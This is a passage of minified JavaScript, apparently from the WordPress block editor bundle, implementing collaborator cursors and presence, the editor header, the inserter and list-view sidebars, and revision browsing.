S=$4(t,_);S&amp;&amp;(S.classList.remove(&quot;is-collaborator-selected&quot;),S.style.removeProperty(&quot;--collaborator-outline-color&quot;))}m.clear()}},[a,t,e,d,l]),{highlights:c,rerenderHighlightsAfterDelay:f}}var $4=(e,t)=&gt;e.querySelector(`[data-block=&quot;${t}&quot;]`);var rN=s(W(),1),z$=s(O(),1),Pk=s(D(),1),U$=s(lt(),1);var V$=s(W(),1);var bke=500,xk=(e,t,r,o)=&gt;e===null||!t?null:Ske(t,e,r,o)??null,Ske=(e,t,r,o)=&gt;{let{node:n,offset:i}=tN(e,t,r),a=r.createRange();try{a.setStart(n,i)}catch{return null}a.collapse(!0);let l=a.getBoundingClientRect(),c=e.getBoundingClientRect(),u=0,d=0;l.x===0&amp;&amp;l.y===0&amp;&amp;l.width===0&amp;&amp;l.height===0?(u=c.left-o.left,d=c.top-o.top):(u=l.left-o.left,d=l.top-o.top);let f=l.height;if(f===0){let m=r.defaultView??window;f=parseInt(m.getComputedStyle(e).lineHeight,10)||c.height}return{x:u,y:d,height:f}},Ck=(e,t,r,o,n)=&gt;{let i=t,a=r;i&gt;a&amp;&amp;([i,a]=[a,i]);let l=tN(e,i,o),c=tN(e,a,o),u=o.createRange();try{u.setStart(l.node,l.offset),u.setEnd(c.node,c.offset)}catch{return null}let d=u.getClientRects(),f=[];for(let m of d){if(m.width===0&amp;&amp;m.height===0)continue;let h=m.left-n.left,g=m.top-n.top;f.some(y=&gt;y.x===h&amp;&amp;y.y===g&amp;&amp;y.width===m.width&amp;&amp;y.height===m.height)||f.push({x:h,y:g,width:m.width,height:m.height})}return f.length&gt;0?f:null},B$=(e,t,r)=&gt;{let o=t.createRange();o.selectNodeContents(e);let n=o.getClientRects(),i=[];for(let a of n)a.width===0&amp;&amp;a.height===0||i.push({x:a.left-r.left,y:a.top-r.top,width:a.width,height:a.height});if(i.length===0){let a=e.getBoundingClientRect();a.width&gt;0&amp;&amp;a.height&gt;0&amp;&amp;i.push({x:a.left-r.left,y:a.top-r.top,width:a.width,height:a.height})}return i},M$=(e,t,r)=&gt;{let o=r.querySelectorAll(&quot;[data-block]&quot;),n=-1,i=-1;for(let l=0;l&lt;o.length;l++){let c=o[l].getAttribute(&quot;data-block&quot;);c===e&amp;&amp;(n=l),c===t&amp;&amp;(i=l)}if(n===-1||i===-1)return[];n&gt;i&amp;&amp;([n,i]=[i,n]);let a=[];for(let l=n+1;l&lt;i;l++)a.push(o[l]);return a},tN=(e,t,r)=&gt;{let o=r.createTreeWalker(e,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT),n=0,i=null,a=null,l=1;for(;a=o.nextNode();){if(l++,l&gt;bke)return i?{node:i,offset:0}:{node:e,offset:0};let c=a.nodeValue?.length??0;if(a.nodeType===Node.ELEMENT_NODE)if(a.nodeName===&quot;BR&quot;){if(n+1&gt;=t){let u=o.nextNode();return u?.nodeType===Node.TEXT_NODE?{node:u,offset:0}:i?{node:i,offset:i.nodeValue?.length??0}:{node:e,offset:0}}n+=1;continue}else continue;if(c!==0){if(n+c&gt;=t)return{node:a,offset:t-n};n+=c,a.nodeType===Node.TEXT_NODE&amp;&amp;(i=a)}}return i&amp;&amp;i.nodeValue?.length?{node:i,offset:i.nodeValue.length}:{node:e,offset:0}},L$=(e,t)=&gt;e.compareDocumentPosition(t)===Node.DOCUMENT_POSITION_FOLLOWING;var{SelectionDirection:_ke,SelectionType:Tk}=N(V$.privateApis);function j$(e,t,r,o){return e.type===Tk.None||e.type===Tk.WholeBlock?{}:e.type===Tk.Cursor?wke(t,o):r?xke(e,t,r,o):{}}function wke(e,t){if(!e.localClientId)return{};let r=t.editorDocument.querySelector(`[data-block=&quot;${e.localClientId}&quot;]`);return{coords:xk(e.richTextOffset,r,t.editorDocument,t.overlayRect)}}function xke(e,t,r,o){if(!t.localClientId||!r.localClientId||t.richTextOffset===null||r.richTextOffset===null)return{};let i=e.selectionDirection===_ke.Backward?t:r,a,l=null;if(e.type===Tk.SelectionInOneBlock){let u=Cke(t,r,o);a=u.rects,l=u.blockElement}else{let u=Tke(t,r,o);a=u.rects,l=i.localClientId===u.firstBlockClientId?u.firstBlock:u.lastBlock}if(a.length&gt;0)return{coords:xk(i.richTextOffset,l,o.editorDocument,o.overlayRect),selectionRects:a};let c=o.editorDocument.querySelector(`[data-block=&quot;${t.localClientId}&quot;]`);return{coords:xk(t.richTextOffset,c,o.editorDocument,o.overlayRect)}}function Cke(e,t,r){let o=r.editorDocument.querySelector(`[data-block=&quot;${e.localClientId}&quot;]`);return!o||e.richTextOffset===null||t.richTextOffset===null?{rects:[],blockElement:null}:{rects:Ck(o,e.richTextOffset,t.richTextOffset,r.editorDocument,r.overlayRect)??[],blockElement:o}}function Tke(e,t,r){let o=e,n=t,i=r.editorDocument.querySelector(`[data-block=&quot;${o.localClientId}&quot;]`),a=r.editorDocument.querySelector(`[data-block=&quot;${n.localClientId}&quot;]`);if(i&amp;&amp;a&amp;&amp;L$(a,i)&amp;&amp;(o=t,n=e,[i,a]=[a,i]),!i||!a||o.richTextOffset===null||n.richTextOffset===null||!o.localClientId||!n.localClientId)return{rects:[],firstBlock:null,lastBlock:null,firstBlockClientId:null};let l=[],c=Ck(i,o.richTextOffset,Number.MAX_SAFE_INTEGER,r.editorDocument,r.overlayRect);c&amp;&amp;l.push(...c);let u=M$(o.localClientId,n.localClientId,r.editorDocument);for(let f of u){let m=B$(f,r.editorDocument,r.overlayRect);l.push(...m)}let d=Ck(a,0,n.richTextOffset,r.editorDocument,r.overlayRect);return d&amp;&amp;l.push(...d),{rects:l,firstBlock:i,lastBlock:a,firstBlockClientId:o.localClientId}}var{useActiveCollaborators:Pke,useResolvedSelection:kke}=N(rN.privateApis),{SelectionType:Fg}=N(rN.privateApis);function H$(e,t,r,o,n){let i=Pke(r??null,o??null),a=kke(r??null,o??null),l=(0,z$.useSelect)(m=&gt;m(U$.store).get(&quot;core&quot;,&quot;showCollaborationCursor&quot;),[]),[c,u]=(0,Pk.useState)([]),[d,f]=wk(n);return(0,Pk.useEffect)(()=&gt;{if(!e||!t){u([]);return}let m=e.getBoundingClientRect(),h={editorDocument:t,overlayRect:m},g=[],v=i.some(y=&gt;!y.isMe);i.forEach(y=&gt;{if(y.isMe&amp;&amp;(!l||!v))return;let b=y.editorState?.selection??{type:Fg.None},_={richTextOffset:null,localClientId:null},S;if(b.type===Fg.Cursor)try{_=a(b)}catch{return}else if(b.type===Fg.SelectionInOneBlock||b.type===Fg.SelectionInMultipleBlocks)try{_=a({type:Fg.Cursor,cursorPosition:b.cursorStartPosition}),S=a({type:Fg.Cursor,cursorPosition:b.cursorEndPosition})}catch{return}let x=y.collaboratorInfo.name,T=y.clientId,R=y.isMe?&quot;var(--wp-admin-theme-color)&quot;:ws(y.collaboratorInfo.id),F=Nc(y.collaboratorInfo.avatar_urls),B=j$(b,_,S,h);if(B.coords){let z={userName:x,clientId:T,color:R,avatarUrl:F,isMe:y.isMe,...B.coords};B.selectionRects&amp;&amp;(z.selectionRects=B.selectionRects),g.push(z)}}),u(g)},[t,a,e,i,l,d]),{cursors:c,rerenderCursorsAfterDelay:f}}var $a=s(C(),1),G$=500,Eke=1e4;function Y$({blockEditorDocument:e,postId:t,postType:r,cursorRegistry:o}){let[n,i]=(0,pa.useState)(null),{cursors:a,rerenderCursorsAfterDelay:l}=H$(n,e??null,t??null,r??null,G$),{highlights:c,rerenderHighlightsAfterDelay:u}=D$(n,e??null,t??null,r??null,G$),d=(0,pa.useCallback)(()=&gt;{l(),u()},[l,u]),f=(0,kk.useResizeObserver)(d);(0,pa.useEffect)(()=&gt;{let v=l(),y=u();return()=&gt;{v(),y()}},[l,u]),(0,pa.useEffect)(()=&gt;{if(a.length!==0)return F$(l,Eke)},[a.length,l]);let m=(0,kk.useMergeRefs)([i,f]),h=(0,pa.useRef)(new Map);(0,pa.useEffect)(()=&gt;{if(!o)return;let v=h.current,y=new Set(a.map(b=&gt;b.clientId));for(let b of v.keys())y.has(b)||(o.unregisterCursor(b),v.delete(b));for(let[b,_]of v.entries())o.registerCursor(b,_);return()=&gt;o.removeAll()},[a,o]);let g=(0,pa.useCallback)(v=&gt;y=&gt;{y?h.current.set(v,y):h.current.delete(v)},[]);return(0,$a.jsxs)(&quot;div&quot;,{className:&quot;collaborators-overlay-full&quot;,ref:m,children:[(0,$a.jsx)(&quot;style&quot;,{children:I$+N$}),a.map(v=&gt;(0,$a.jsxs)(&quot;div&quot;,{children:[v.selectionRects?.map((y,b)=&gt;(0,$a.jsx)(&quot;div&quot;,{className:&quot;collaborators-overlay-selection-rect&quot;,style:{left:`${y.x}px`,top:`${y.y}px`,width:`${y.width}px`,height:`${y.height}px`,backgroundColor:v.color}},`${v.clientId}-sel-${b}`)),(0,$a.jsxs)(&quot;div&quot;,{ref:g(v.clientId),className:&quot;collaborators-overlay-user&quot;,style:{left:`${v.x}px`,top:`${v.y}px`},children:[!v.isMe&amp;&amp;(0,$a.jsx)(&quot;div&quot;,{className:&quot;collaborators-overlay-user-cursor&quot;,style:{backgroundColor:v.color,height:`${v.height}px`}}),(0,$a.jsx)(Ic,{className:&quot;collaborators-overlay-user-label&quot;,variant:&quot;badge&quot;,size:&quot;small&quot;,src:v.avatarUrl,name:v.userName,label:v.isMe?(0,W$.__)(&quot;You&quot;):void 0,borderColor:v.color})]})]},v.clientId)),c.map(v=&gt;(0,$a.jsx)(Ic,{className:&quot;collaborators-overlay-block-label&quot;,variant:&quot;badge&quot;,size:&quot;small&quot;,src:v.avatarUrl,name:v.userName,borderColor:v.color,style:{left:`${v.x}px`,top:`${v.y}px`}},v.blockId))]})}var oN=s(C(),1),{BlockCanvasCover:Rke}=N(q$.privateApis);function Ek({postId:e,postType:t,cursorRegistry:r}){return(0,oN.jsx)(Rke.Fill,{children:({containerRef:o})=&gt;(0,oN.jsx)(Y$,{blockEditorDocument:o.current?.ownerDocument,postId:e,postType:t,cursorRegistry:r})})}var xs=s(C(),1);if(typeof document&lt;&quot;u&quot;&amp;&amp;!document.head.querySelector(&quot;style[data-wp-hash=&#039;eee1778bc0&#039;]&quot;)){let e=document.createElement(&quot;style&quot;);e.setAttribute(&quot;data-wp-hash&quot;,&quot;eee1778bc0&quot;),e.appendChild(document.createTextNode(&quot;.editor-collaborators-presence{align-items:center;background:#f0f0f0;border-radius:4px;display:flex;flex-shrink:0;height:32px;margin-right:8px}.editor-collaborators-presence:has(.is-pressed),.editor-collaborators-presence:hover{background-color:#e0e0e0}.editor-collaborators-presence__button.editor-collaborators-presence__button.components-button{align-items:center;background:#0000;border-radius:4px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;height:100%;padding:4px;position:relative}.editor-collaborators-presence__button.editor-collaborators-presence__button.components-button.is-pressed,.editor-collaborators-presence__button.editor-collaborators-presence__button.components-button.is-pressed:hover,.editor-collaborators-presence__button.editor-collaborators-presence__button.components-button:hover{background:#0000;color:#2f2f2f}.editor-collaborators-presence__button.editor-collaborators-presence__button.components-button:focus:not(:active){box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus,2px) var(--wp-admin-theme-color,#007cba);outline:none}&quot;)),document.head.appendChild(e)}var{useActiveCollaborators:Ake}=N(K$.privateApis);function X$({postId:e,postType:t}){let r=Ake(e,t),o=r.filter(f=&gt;!f.isMe),n=(0,Dg.useMemo)(()=&gt;[...r].sort((f,m)=&gt;f.isMe&amp;&amp;!m.isMe?-1:!f.isMe&amp;&amp;m.isMe?1:0),[r]),[i]=(0,Dg.useState)(k$),[a,l]=(0,Dg.useState)(!1),[c,u]=(0,Dg.useState)(null);if(o.length===0)return null;let d=r.find(f=&gt;f.isMe);return(0,xs.jsxs)(xs.Fragment,{children:[(0,xs.jsxs)(&quot;div&quot;,{className:&quot;editor-collaborators-presence&quot;,children:[(0,xs.jsx)(Z$.Button,{__next40pxDefaultSize:!0,className:&quot;editor-collaborators-presence__button&quot;,onClick:()=&gt;l(!a),isPressed:a,ref:u,&quot;aria-label&quot;:(0,Rk.sprintf)((0,Rk.__)(&quot;Collaborators list, %d online&quot;),n.length),children:(0,xs.jsxs)(q4,{max:4,children:[d&amp;&amp;(0,xs.jsx)(Ic,{src:Nc(d.collaboratorInfo.avatar_urls),name:d.collaboratorInfo.name,borderColor:&quot;var(--wp-admin-theme-color)&quot;,size:&quot;small&quot;},d.clientId),o.map(f=&gt;(0,xs.jsx)(Ic,{src:Nc(f.collaboratorInfo.avatar_urls),name:f.collaboratorInfo.name,borderColor:ws(f.collaboratorInfo.id),size:&quot;small&quot;},f.clientId))]})}),a&amp;&amp;(0,xs.jsx)(P$,{activeCollaborators:n,popoverAnchor:c,setIsPopoverVisible:l,cursorRegistry:i})]}),(0,xs.jsx)(Ek,{postId:e,postType:t,cursorRegistry:i})]})}var Er=s(C(),1);function Oke({customSaveButton:e,forceIsDirty:t,setEntitiesSavedStatesCallback:r}){let o=(0,B0.useViewportMatch)(&quot;large&quot;),n=(0,B0.useViewportMatch)(&quot;medium&quot;),i=(0,B0.useMediaQuery)(&quot;(max-width: 403px)&quot;),{postId:a,postType:l,isTextEditor:c,isPublishSidebarOpened:u,showIconLabels:d,hasFixedToolbar:f,hasBlockSelection:m,hasSectionRootClientId:h,isStylesCanvasActive:g,isAttachment:v}=(0,J$.useSelect)(T=&gt;{let{get:R}=T($$.store),{getEditorMode:F,getCurrentPostType:B,getCurrentPostId:z,isPublishSidebarOpened:L}=T(w),{getStylesPath:M,getShowStylebook:k}=N(T(w)),{getBlockSelectionStart:I,getSectionRootClientId:U}=N(T(Q$.store));return{postId:z(),postType:B(),isTextEditor:F()===&quot;text&quot;,isPublishSidebarOpened:L(),showIconLabels:R(&quot;core&quot;,&quot;showIconLabels&quot;),hasFixedToolbar:R(&quot;core&quot;,&quot;fixedToolbar&quot;),hasBlockSelection:!!I(),hasSectionRootClientId:!!U(),isStylesCanvasActive:!!M()?.startsWith(&quot;/revisions&quot;)||k(),isAttachment:B()===ur&amp;&amp;window?.__experimentalMediaEditor}},[]),y=[&quot;post&quot;,&quot;page&quot;,&quot;wp_template&quot;].includes(l)&amp;&amp;h,b=[ur,jd,Ur,qi].includes(l)||g,[_,S]=(0,eee.useState)(!0);return(0,Er.jsx)(ak,{toolbar:(0,Er.jsxs)(Er.Fragment,{children:[!v&amp;&amp;(0,Er.jsx)(NJ,{disableBlockTools:g||c}),f&amp;&amp;n&amp;&amp;(0,Er.jsx)(EJ,{isCollapsed:_,onToggle:S})]}),center:!i&amp;&amp;(!f||f&amp;&amp;(!m||_))?(0,Er.jsxs)(Er.Fragment,{children:[(0,Er.jsx)(X$,{postType:l,postId:a}),(0,Er.jsx)(fC,{})]}):void 0,settings:(0,Er.jsxs)(Er.Fragment,{children:[!e&amp;&amp;!u&amp;&amp;(0,Er.jsx)(pP,{forceIsDirty:t}),(0,Er.jsx)(s$,{}),(0,Er.jsx)(d$,{forceIsAutosaveable:t,disabled:b}),(0,Er.jsx)(od,{className:&quot;editor-header__post-preview-button&quot;,forceIsAutosaveable:t}),o&amp;&amp;y&amp;&amp;(0,Er.jsx)(g$,{disabled:g}),(o||!d)&amp;&amp;(0,Er.jsx)(zp.Slot,{scope:&quot;core&quot;}),!e&amp;&amp;(0,Er.jsx)($J,{forceIsDirty:t,setEntitiesSavedStatesCallback:r}),e,!v&amp;&amp;(0,Er.jsx)(fk,{})]})})}var tee=Oke;var M0=s(O(),1),Ok=s($(),1),ree=s(he(),1),L0=s(D(),1),oee=s(lt(),1),nee=s(yo(),1);var Ak=s(C(),1),{PrivateInserterLibrary:Ike}=N(Ok.privateApis);function iee(){let{blockSectionRootClientId:e,inserterSidebarToggleRef:t,inserter:r,showMostUsedBlocks:o,sidebarIsOpened:n}=(0,M0.useSelect)(m=&gt;{let{getInserterSidebarToggleRef:h,getInserter:g,isPublishSidebarOpened:v}=N(m(w)),{getBlockRootClientId:y,isZoomOut:b,getSectionRootClientId:_}=N(m(Ok.store)),{get:S}=m(oee.store),{getActiveComplementaryArea:x}=m(Ce),T=()=&gt;{if(b()){let R=_();if(R)return R}return y()};return{inserterSidebarToggleRef:h(),inserter:g(),showMostUsedBlocks:S(&quot;core&quot;,&quot;mostUsedBlocks&quot;),blockSectionRootClientId:T(),sidebarIsOpened:!!(x(&quot;core&quot;)||v())}},[]),{setIsInserterOpened:i}=(0,M0.useDispatch)(w),{disableComplementaryArea:a}=(0,M0.useDispatch)(Ce),l=(0,ree.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),c=(0,L0.useRef)(),u=(0,L0.useCallback)(()=&gt;{i(!1),t.current?.focus()},[t,i]),d=(0,L0.useCallback)(m=&gt;{m.keyCode===nee.ESCAPE&amp;&amp;!m.defaultPrevented&amp;&amp;(m.preventDefault(),u())},[u]),f=(0,Ak.jsx)(&quot;div&quot;,{className:&quot;editor-inserter-sidebar__content&quot;,children:(0,Ak.jsx)(Ike,{showMostUsedBlocks:o,showInserterHelpPanel:!0,shouldFocusBlock:l,rootClientId:e??r.rootClientId,__experimentalInsertionIndex:r.insertionIndex,onSelect:r.onSelect,__experimentalInitialTab:r.tab,__experimentalInitialCategory:r.category,__experimentalFilterValue:r.filterValue,onPatternCategorySelection:n?()=&gt;a(&quot;core&quot;):void 0,ref:c,onClose:u})});return(0,Ak.jsx)(&quot;div&quot;,{onKeyDown:d,className:&quot;editor-inserter-sidebar&quot;,children:f})}var Nk=s($(),1),Fk=s(he(),1),Dk=s(O(),1),nN=s(xh(),1),ha=s(D(),1),j0=s(E(),1),aee=s(Oi(),1),lee=s(yo(),1);var V0=s(A(),1),Ik=s(E(),1);var Ho=s(C(),1);function see(){return(0,Ho.jsxs)(Ho.Fragment,{children:[(0,Ho.jsxs)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__outline&quot;,children:[(0,Ho.jsxs)(&quot;div&quot;,{children:[(0,Ho.jsx)(V0.__experimentalText,{children:(0,Ik.__)(&quot;Characters:&quot;)}),(0,Ho.jsx)(V0.__experimentalText,{children:(0,Ho.jsx)(wg,{})})]}),(0,Ho.jsxs)(&quot;div&quot;,{children:[(0,Ho.jsx)(V0.__experimentalText,{children:(0,Ik.__)(&quot;Words:&quot;)}),(0,Ho.jsx)(Sg,{})]}),(0,Ho.jsxs)(&quot;div&quot;,{children:[(0,Ho.jsx)(V0.__experimentalText,{children:(0,Ik.__)(&quot;Time to read:&quot;)}),(0,Ho.jsx)(_g,{})]})]}),(0,Ho.jsx)(Ah,{})]})}var fd=s(C(),1),{TabbedSidebar:Nke}=N(Nk.privateApis);function cee(){let{setIsListViewOpened:e}=(0,Dk.useDispatch)(w),{getListViewToggleRef:t}=N((0,Dk.useSelect)(w)),r=(0,Fk.useFocusOnMount)(&quot;firstElement&quot;),o=(0,ha.useCallback)(()=&gt;{e(!1),t().current?.focus()},[t,e]),n=(0,ha.useCallback)(v=&gt;{v.keyCode===lee.ESCAPE&amp;&amp;!v.defaultPrevented&amp;&amp;(v.preventDefault(),o())},[o]),[i,a]=(0,ha.useState)(null),[l,c]=(0,ha.useState)(&quot;list-view&quot;),u=(0,ha.useRef)(),d=(0,ha.useRef)(),f=(0,ha.useRef)(),m=(0,Fk.useMergeRefs)([r,f,a]);function h(v){let y=nN.focus.tabbable.find(d.current)[0];if(v===&quot;list-view&quot;){let b=nN.focus.tabbable.find(f.current)[0];(u.current.contains(b)?b:y).focus()}else y.focus()}let g=(0,ha.useCallback)(()=&gt;{u.current.contains(u.current.ownerDocument.activeElement)?o():h(l)},[o,l]);return(0,aee.useShortcut)(&quot;core/editor/toggle-list-view&quot;,g),(0,fd.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar&quot;,onKeyDown:n,ref:u,children:(0,fd.jsx)(Nke,{tabs:[{name:&quot;list-view&quot;,title:(0,j0._x)(&quot;List View&quot;,&quot;Post overview&quot;),panel:(0,fd.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-container&quot;,children:(0,fd.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-panel-content&quot;,children:(0,fd.jsx)(Nk.__experimentalListView,{dropZoneElement:i})})}),panelRef:m},{name:&quot;outline&quot;,title:(0,j0._x)(&quot;Outline&quot;,&quot;Post overview&quot;),panel:(0,fd.jsx)(&quot;div&quot;,{className:&quot;editor-list-view-sidebar__list-view-container&quot;,children:(0,fd.jsx)(see,{})})}],onClose:o,onSelect:v=&gt;c(v),defaultTabId:&quot;list-view&quot;,ref:d,closeButtonLabel:(0,j0.__)(&quot;Close&quot;)})})}var U0=s(O(),1),z0=s(A(),1);var md=s(E(),1);var Bk=s(O(),1),el=s(A(),1),uee=s(W(),1),Fc=s(E(),1),Mk=s(po(),1),dee=s(D(),1);var ga=s(C(),1);function Fke(){let{revisions:e,perPage:t,currentRevisionId:r,revisionKey:o,revisionPage:n,totalRevisions:i}=(0,Bk.useSelect)(_=&gt;{let{getCurrentRevisionId:S,getRevisionPage:x,getPageRevisions:T,getRevisionsPerPage:R}=N(_(w)),F=_(w).getCurrentPostType();if(!F)return{};let z=_(uee.store).getEntityConfig(&quot;postType&quot;,F)?.revisionKey||&quot;id&quot;,L=x();return{revisions:T(L),perPage:R(),currentRevisionId:S(),revisionKey:z,revisionPage:L,totalRevisions:_(w).getCurrentPostRevisionsCount()}},[]),{setCurrentRevisionId:a,setRevisionPage:l}=N((0,Bk.useDispatch)(w)),c=!e,u=Math.ceil(i/t)||1,d=(0,dee.useMemo)(()=&gt;e&amp;&amp;[...e].reverse(),[e]),f=d?.findIndex(_=&gt;_[o]===r),m=_=&gt;{let S=d?.[_];S&amp;&amp;a(S[o])},h=(0,Mk.getSettings)(),g=_=&gt;{let S=d?.[_];return S?(0,Mk.dateI18n)(h.formats.datetime,S.date):_},v=u&gt;1;if(c&amp;&amp;!v)return(0,ga.jsx)(el.Spinner,{});if(!c&amp;&amp;!d?.length)return(0,ga.jsx)(&quot;span&quot;,{className:&quot;editor-revisions-header__no-revisions&quot;,children:(0,Fc.__)(&quot;No revisions found.&quot;)});if(i&lt;=1)return(0,ga.jsx)(&quot;span&quot;,{className:&quot;editor-revisions-header__no-revisions&quot;,children:(0,Fc.__)(&quot;Only one revision found.&quot;)});let y=_=&gt;{let S=i-(_-1)*t,x=Math.max(1,S-t+1);return(0,Fc.sprintf)((0,Fc.__)(&quot;Revisions %1$s\u2013%2$s&quot;),x,S)},b=c||f===-1?(0,ga.jsx)(el.Spinner,{}):(0,ga.jsx)(el.RangeControl,{__next40pxDefaultSize:!0,&quot;aria-valuetext&quot;:g(f),className:&quot;editor-revisions-header__slider&quot;,hideLabelFromVision:!0,label:(0,Fc.__)(&quot;Revision&quot;),max:d?.length-1,min:0,marks:!0,onChange:m,renderTooltipContent:g,value:f,withInputField:!1});return v?(0,ga.jsxs)(el.__experimentalHStack,{spacing:2,expanded:!0,wrap:!1,children:[(0,ga.jsx)(el.Button,{icon:Nt,label:n&lt;u?y(n+1):(0,Fc.__)(&quot;No older revisions&quot;),onClick:()=&gt;l(n+1),disabled:c||n&gt;=u,size:&quot;compact&quot;,accessibleWhenDisabled:!0}),(0,ga.jsx)(&quot;div&quot;,{style:{flex:1,minWidth:0,display:&quot;flex&quot;,justifyContent:&quot;center&quot;},children:b}),(0,ga.jsx)(el.Button,{icon:Ft,label:n&gt;1?y(n-1):(0,Fc.__)(&quot;No newer revisions&quot;),onClick:()=&gt;l(n-1),disabled:c||n&lt;=1,size:&quot;compact&quot;,accessibleWhenDisabled:!0})]}):b}var fee=Fke;var mi={document:&quot;edit-post/document&quot;,block:&quot;edit-post/block&quot;};var zi=s(C(),1);function Dke({showDiff:e,onToggleDiff:t}){let{currentRevisionId:r,sidebarIsOpened:o}=(0,U0.useSelect)(d=&gt;({currentRevisionId:N(d(w)).getCurrentRevisionId(),sidebarIsOpened:!!d(Ce).getActiveComplementaryArea(&quot;core&quot;)}),[]),{setCurrentRevisionId:n,restoreRevision:i}=N((0,U0.useDispatch)(w)),{enableComplementaryArea:a,disableComplementaryArea:l}=(0,U0.useDispatch)(Ce),c=!!r,u=()=&gt;{r&amp;&amp;i(r)};return(0,zi.jsx)(ak,{className:&quot;editor-revisions-header&quot;,toolbar:(0,zi.jsx)(z0.Button,{__next40pxDefaultSize:!0,size:&quot;compact&quot;,icon:Gd,label:(0,md._x)(&quot;Show changes&quot;,&quot;revisions&quot;),isPressed:e,onClick:t}),center:(0,zi.jsx)(fee,{}),settings:(0,zi.jsxs)(zi.Fragment,{children:[(0,zi.jsx)(od,{className:&quot;editor-header__post-preview-button&quot;}),(0,zi.jsx)(z0.Button,{__next40pxDefaultSize:!0,icon:(0,md.isRTL)()?zd:Ud,label:(0,md._x)(&quot;Settings&quot;,&quot;panel button label&quot;),isPressed:o,&quot;aria-expanded&quot;:o,onClick:()=&gt;{o?l(&quot;core&quot;):a(&quot;core&quot;,mi.document)},size:&quot;compact&quot;}),(0,zi.jsx)(z0.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,size:&quot;compact&quot;,onClick:()=&gt;n(null),children:(0,md.__)(&quot;Exit&quot;)}),(0,zi.jsx)(z0.Button,{__next40pxDefaultSize:!0,accessibleWhenDisabled:!0,variant:&quot;primary&quot;,size:&quot;compact&quot;,className:&quot;editor-revisions-header__restore-button&quot;,disabled:!c,onClick:u,children:(0,md.__)(&quot;Restore&quot;)}),(0,zi.jsx)(fk,{disabled:!0})]})})}var iN=Dke;var Gee=s(A(),1),Wee=s($(),1),Yee=s(O(),1),qee=s(D(),1),Zee=s(mo(),1);var fn=s($(),1),Cs=s(D(),1),qk=s(O(),1),dN=s(Xe(),1),Fee=s(W(),1),Zk=s(he(),1);var sN=s(O(),1),mee=s(W(),1),Lk=s(D(),1),aN=s(E(),1),pee=s(A(),1);var hee=s(C(),1);function gee({contentRef:e}){let{onNavigateToEntityRecord:t,templateId:r}=(0,sN.useSelect)(a=&gt;{let{getEditorSettings:l,getCurrentTemplateId:c}=a(w);return{onNavigateToEntityRecord:l().onNavigateToEntityRecord,templateId:c()}},[]),o=(0,sN.useSelect)(a=&gt;!!a(mee.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),[]),[n,i]=(0,Lk.useState)(!1);return(0,Lk.useEffect)(()=&gt;{let a=c=&gt;{o&amp;&amp;(!c.target.classList.contains(&quot;is-root-container&quot;)||c.target.dataset?.type===&quot;core/template-part&quot;||c.defaultPrevented||(c.preventDefault(),i(!0)))},l=e.current;return l?.addEventListener(&quot;dblclick&quot;,a),()=&gt;{l?.removeEventListener(&quot;dblclick&quot;,a)}},[e,o]),o?(0,hee.jsx)(pee.__experimentalConfirmDialog,{isOpen:n,confirmButtonText:(0,aN.__)(&quot;Edit template&quot;),onConfirm:()=&gt;{i(!1),t({postId:r,postType:&quot;wp_template&quot;})},onCancel:()=&gt;i(!1),size:&quot;medium&quot;,children:(0,aN.__)(&quot;You\u2019ve tried to select a block that is part of a template that may be used elsewhere on your site. Would you like to edit the template?&quot;)}):null}var yee=s(he(),1),Vk=s(O(),1),lN=s($(),1);var Bke=500;function vee(e,t,r){return Math.min(Math.max(e,t),r)}function Mke(e,t,r){let o=e-vee(e,r.left,r.right),n=t-vee(t,r.top,r.bottom);return Math.sqrt(o*o+n*n)}function bee({isEnabled:e=!0}={}){let{getEnabledClientIdsTree:t,getBlockName:r,getBlockOrder:o}=N((0,Vk.useSelect)(lN.store)),{selectBlock:n}=(0,Vk.useDispatch)(lN.store);return(0,yee.useRefEffect)(i=&gt;{if(!e)return;let a=(c,u)=&gt;{let d=t().flatMap(({clientId:h})=&gt;{let g=r(h);if(g===&quot;core/template-part&quot;)return[];if(g===&quot;core/post-content&quot;){let v=o(h);if(v.length)return v}return[h]}),f=1/0,m=null;for(let h of d){let g=i.querySelector(`[data-block=&quot;${h}&quot;]`);if(!g)continue;let v=g.getBoundingClientRect(),y=Mke(c,u,v);y&lt;f&amp;&amp;y&lt;Bke&amp;&amp;(f=y,m=h)}m&amp;&amp;n(m)},l=c=&gt;{(c.target===i||c.target.classList.contains(&quot;is-root-container&quot;))&amp;&amp;a(c.clientX,c.clientY)};return i.addEventListener(&quot;click&quot;,l),()=&gt;i.removeEventListener(&quot;click&quot;,l)},[e])}var jk=s(O(),1),See=s(he(),1),cN=s($(),1);function _ee(){let{getSettings:e,isZoomOut:t}=N((0,jk.useSelect)(cN.store)),{resetZoomLevel:r}=N((0,jk.useDispatch)(cN.store));return(0,See.useRefEffect)(o=&gt;{function n(i){if(t()&amp;&amp;!i.defaultPrevented){i.preventDefault();let{__experimentalSetIsInserterOpened:a}=e();typeof a==&quot;function&quot;&amp;&amp;a(!1),r()}}return o.addEventListener(&quot;dblclick&quot;,n),()=&gt;{o.removeEventListener(&quot;dblclick&quot;,n)}},[e,t,r])}var wee=s(O(),1),xee=s(he(),1),zk=s($(),1),Cee=s(Xe(),1),Lke=&#039;:root :where(.editor-styles-wrapper)::after {content: &quot;&quot;; display: block; height: 40vh;}&#039;;function Tee(e){let t=(0,wee.useRegistry)(),r=(0,xee.useRefEffect)(o=&gt;{function n(a){if(a.target!==o&amp;&amp;a.target!==o.parentElement)return;let l=o.lastElementChild;if(!l)return;let c=l.getBoundingClientRect();if(a.clientY&lt;c.bottom)return;a.preventDefault();let u=t.select(zk.store).getBlockOrder(&quot;&quot;),d=u[u.length-1],f=t.select(zk.store).getBlock(d),{selectBlock:m,insertDefaultBlock:h}=t.dispatch(zk.store);f&amp;&amp;(0,Cee.isUnmodifiedDefaultBlock)(f)?m(d):h()}let{ownerDocument:i}=o;return 